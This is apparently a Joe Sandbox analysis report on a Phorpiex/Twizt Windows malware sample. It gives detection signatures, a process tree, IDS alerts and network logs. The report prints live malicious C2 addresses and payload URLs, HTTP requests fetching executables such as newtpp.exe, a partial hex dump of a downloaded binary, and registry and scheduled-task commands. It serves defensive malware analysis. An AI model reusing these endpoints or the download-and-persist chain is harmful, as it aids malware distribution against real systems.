Edit tour

Windows Analysis Report
LM94OE0VNK.exe

Overview

General Information

Sample name:	LM94OE0VNK.exe renamed because original name is a hash value
Original sample name:	8ce09f13942ab5bcb81b175996c8385f.exe
Analysis ID:	1564700
MD5:	8ce09f13942ab5bcb81b175996c8385f
SHA1:	6fa685d66ac5fff4e9d984dc1903c47a1a6b6cbd
SHA256:	757bf8be40693456e7cdee5c53416d1cb223da5f7d0b9d55f4aca95f6a57605d
Tags:	exeuser-abuse_ch
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

AI detected suspicious sample

Contains functionality to check if Internet connection is working

Contains functionality to detect sleep reduction / modifications

Drops executables to the windows directory (C:\Windows) and starts them

Found evasive API chain (may stop execution after checking mutex)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Machine Learning detection for dropped file

Machine Learning detection for sample

Uses schtasks.exe or at.exe to add and modify task schedules

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the clipboard data

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found evaded block containing many API calls

Found evasive API chain (may stop execution after accessing registry keys)

Found large amount of non-executed APIs

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

May check if the current machine is a sandbox (GetTickCount - Sleep)

May sleep (evasive loops) to hinder dynamic analysis

PE file does not import any functions

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Classification

Process Tree

System is w10x64

LM94OE0VNK.exe (PID: 8140 cmdline: "C:\Users\user\Desktop\LM94OE0VNK.exe" MD5: 8CE09F13942AB5BCB81B175996C8385F)

2374323789.exe (PID: 7544 cmdline: C:\Users\user\AppData\Local\Temp\2374323789.exe MD5: 0C883B1D66AFCE606D9830F48D69D74B)

sysnldcvmr.exe (PID: 7656 cmdline: C:\Windows\sysnldcvmr.exe MD5: 0C883B1D66AFCE606D9830F48D69D74B)

240016073.exe (PID: 6128 cmdline: C:\Users\user\AppData\Local\Temp\240016073.exe MD5: CB8420E681F68DB1BAD5ED24E7B22114)

cmd.exe (PID: 1452 cmdline: "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3096 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 3208 cmdline: reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

cmd.exe (PID: 3452 cmdline: "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 6832 cmdline: schtasks /delete /f /tn "Windows Upgrade Manager" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

2693731851.exe (PID: 1892 cmdline: C:\Users\user\AppData\Local\Temp\2693731851.exe MD5: 0C883B1D66AFCE606D9830F48D69D74B)

sysnldcvmr.exe (PID: 7964 cmdline: "C:\Windows\sysnldcvmr.exe" MD5: 0C883B1D66AFCE606D9830F48D69D74B)

cleanup

Sigma Signatures

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Windows\sysnldcvmr.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\2374323789.exe, ProcessId: 7544, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings

Suricata Signatures

ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T18:18:43.482513+0100	2044077	1	A Network Trojan was detected	192.168.2.10	55293	90.156.160.6	40500	UDP
2024-11-28T18:18:48.533043+0100	2044077	1	A Network Trojan was detected	192.168.2.10	55293	80.191.218.209	40500	UDP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T18:18:30.566440+0100	2803274	2	Potentially Bad Traffic	192.168.2.10	49702	185.215.113.66	80	TCP
2024-11-28T18:18:33.724115+0100	2803274	2	Potentially Bad Traffic	192.168.2.10	49702	185.215.113.66	80	TCP
2024-11-28T18:18:41.727174+0100	2803274	2	Potentially Bad Traffic	192.168.2.10	49703	185.215.113.66	80	TCP
2024-11-28T18:18:44.488388+0100	2803274	2	Potentially Bad Traffic	192.168.2.10	49706	185.215.113.66	80	TCP
2024-11-28T18:18:48.794430+0100	2803274	2	Potentially Bad Traffic	192.168.2.10	49711	91.202.233.141	80	TCP
2024-11-28T18:18:51.034709+0100	2803274	2	Potentially Bad Traffic	192.168.2.10	49712	185.215.113.66	80	TCP
2024-11-28T18:18:53.558980+0100	2803274	2	Potentially Bad Traffic	192.168.2.10	49713	185.215.113.66	80	TCP

ETPRO MALWARE Phorpiex Domain in DNS Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T18:18:28.772817+0100	2856563	1	A Network Trojan was detected	192.168.2.10	55531	1.1.1.1	53	UDP

ETPRO MALWARE Win32/Phorpiex Twizt Variant CnC Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T18:18:33.724115+0100	2853292	1	Malware Command and Control Activity Detected	192.168.2.10	49702	185.215.113.66	80	TCP

ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T18:18:41.727174+0100	2848295	1	A Network Trojan was detected	192.168.2.10	49703	185.215.113.66	80	TCP
2024-11-28T18:18:44.488388+0100	2848295	1	A Network Trojan was detected	192.168.2.10	49706	185.215.113.66	80	TCP
2024-11-28T18:18:51.034709+0100	2848295	1	A Network Trojan was detected	192.168.2.10	49712	185.215.113.66	80	TCP
2024-11-28T18:18:53.558980+0100	2848295	1	A Network Trojan was detected	192.168.2.10	49713	185.215.113.66	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://91.202.233.141/gonupll9z	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/2C:	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/gonup	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/http://91.202.233.141/12345%s%s%s:Zone.Identifier%userprofile%%windir%%s	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/1y	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/2IIC:	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/1~	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/2?	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/gonup8	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/gonup1	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	Avira: detection malicious, Label: HEUR/AGEN.1315882
Source: C:\Windows\sysnldcvmr.exe	Avira: detection malicious, Label: HEUR/AGEN.1315882
Source: C:\Users\user\AppData\Local\Temp\2693731851.exe	Avira: detection malicious, Label: HEUR/AGEN.1315882
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\newtpp[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1315882

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\newtpp[1].exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Temp\2693731851.exe	ReversingLabs: Detection: 75%
Source: C:\Windows\sysnldcvmr.exe	ReversingLabs: Detection: 75%

Multi AV Scanner detection for submitted file

Source: LM94OE0VNK.exe

ReversingLabs: Detection: 52%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	Joe Sandbox ML: detected
Source: C:\Windows\sysnldcvmr.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\2693731851.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\newtpp[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: LM94OE0VNK.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	Code function: 3_2_0040BE80 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,	3_2_0040BE80
Source: C:\Windows\sysnldcvmr.exe	Code function: 4_2_0040BE80 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,	4_2_0040BE80
Source: C:\Windows\sysnldcvmr.exe	Code function: 7_2_0040BE80 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,	7_2_0040BE80

Source: LM94OE0VNK.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\LM94OE0VNK.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9625_none_508ef7e4bcbbe589\MSVCR90.dll

Jump to behavior

Source: LM94OE0VNK.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	Code function: 3_2_004066B0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	3_2_004066B0
Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	Code function: 3_2_00406570 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	3_2_00406570
Source: C:\Windows\sysnldcvmr.exe	Code function: 4_2_004066B0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	4_2_004066B0
Source: C:\Windows\sysnldcvmr.exe	Code function: 4_2_00406570 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	4_2_00406570
Source: C:\Windows\sysnldcvmr.exe	Code function: 7_2_004066B0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	7_2_004066B0
Source: C:\Windows\sysnldcvmr.exe	Code function: 7_2_00406570 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	7_2_00406570

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856563 - Severity 1 - ETPRO MALWARE Phorpiex Domain in DNS Lookup : 192.168.2.10:55531 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.10:55293 -> 90.156.160.6:40500
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.10:49703 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.10:49706 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.10:55293 -> 80.191.218.209:40500
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.10:49712 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.10:49713 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2853292 - Severity 1 - ETPRO MALWARE Win32/Phorpiex Twizt Variant CnC Checkin : 192.168.2.10:49702 -> 185.215.113.66:80

Contains functionality to check if Internet connection is working

Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	Code function: 3_2_0040AA80 htons,socket,connect,getsockname, www.update.microsoft.com	3_2_0040AA80
Source: C:\Windows\sysnldcvmr.exe	Code function: 4_2_0040AA80 htons,socket,connect,getsockname, www.update.microsoft.com	4_2_0040AA80
Source: C:\Windows\sysnldcvmr.exe	Code function: 7_2_0040AA80 htons,socket,connect,getsockname, www.update.microsoft.com	7_2_0040AA80

Source: global traffic	TCP traffic: 192.168.2.10:49708 -> 178.22.172.2:40500
Source: global traffic	TCP traffic: 192.168.2.10:49714 -> 217.30.162.161:40500
Source: global traffic	UDP traffic: 192.168.2.10:55293 -> 90.156.160.6:40500
Source: global traffic	UDP traffic: 192.168.2.10:55293 -> 80.191.218.209:40500

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 28 Nov 2024 17:18:30 GMTContent-Type: application/octet-streamContent-Length: 80896Last-Modified: Tue, 12 Nov 2024 22:30:51 GMTConnection: keep-aliveETag: "6733d71b-13c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6d bb 70 6a 29 da 1e 39 29 da 1e 39 29 da 1e 39 20 a2 94 39 2e da 1e 39 51 a8 1f 38 2b da 1e 39 ea d5 43 39 2b da 1e 39 ea d5 41 39 28 da 1e 39 ea d5 11 39 2b da 1e 39 0e 1c 73 39 2d da 1e 39 29 da 1f 39 95 da 1e 39 0e 1c 65 39 3c da 1e 39 20 a2 9d 39 2d da 1e 39 20 a2 9a 39 35 da 1e 39 20 a2 8f 39 28 da 1e 39 52 69 63 68 29 da 1e 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 cd d6 33 67 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 e4 00 00 00 64 00 00 00 00 00 00 90 75 00 00 00 10 00 00 00 00 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 70 01 00 00 04 00 00 00 00 00 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 24 01 00 04 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 10 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f2 e2 00 00 00 10 00 00 00 e4 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 fa 33 00 00 00 00 01 00 00 34 00 00 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 28 2f 00 00 00 40 01 00 00 20 00 00 00 1c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 185.215.113.66 185.215.113.66
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: MASTERHOST-ASMoscowRussiaRU MASTERHOST-ASMoscowRussiaRU

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.10:49703 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.10:49706 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.10:49712 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.10:49711 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.10:49713 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.10:49702 -> 185.215.113.66:80

Source: global traffic	HTTP traffic detected: GET /newtpp.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36Host: twizt.net
Source: global traffic	HTTP traffic detected: GET /peinstall.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36Host: twizt.net
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /gonup HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66

Source: unknown	TCP traffic detected without corresponding DNS query: 178.22.172.2
Source: unknown	TCP traffic detected without corresponding DNS query: 178.22.172.2
Source: unknown	TCP traffic detected without corresponding DNS query: 178.22.172.2
Source: unknown	TCP traffic detected without corresponding DNS query: 178.22.172.2
Source: unknown	TCP traffic detected without corresponding DNS query: 178.22.172.2
Source: unknown	TCP traffic detected without corresponding DNS query: 178.22.172.2
Source: unknown	TCP traffic detected without corresponding DNS query: 178.22.172.2
Source: unknown	TCP traffic detected without corresponding DNS query: 178.22.172.2
Source: unknown	TCP traffic detected without corresponding DNS query: 178.22.172.2
Source: unknown	TCP traffic detected without corresponding DNS query: 178.22.172.2
Source: unknown	TCP traffic detected without corresponding DNS query: 178.22.172.2
Source: unknown	TCP traffic detected without corresponding DNS query: 178.22.172.2
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 178.22.172.2
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 178.22.172.2
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141

Source: C:\Users\user\Desktop\LM94OE0VNK.exe

Code function: 0_2_009C1120 GetTickCount,srand,ExpandEnvironmentStringsW,rand,rand,wsprintfW,wsprintfW,InternetOpenW,InternetOpenUrlW,CreateFileW,InternetReadFile,InternetReadFile,WriteFile,WriteFile,InternetReadFile,CloseHandle,wsprintfW,DeleteFileW,CloseHandle,wsprintfW,InternetCloseHandle,InternetCloseHandle,Sleep,Sleep,rand,Sleep,rand,rand,wsprintfW,URLDownloadToFileW,wsprintfW,DeleteFileW,

0_2_009C1120

Source: global traffic	HTTP traffic detected: GET /newtpp.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36Host: twizt.net
Source: global traffic	HTTP traffic detected: GET /peinstall.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36Host: twizt.net
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /gonup HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66

Source: global traffic

DNS traffic detected: DNS query: twizt.net

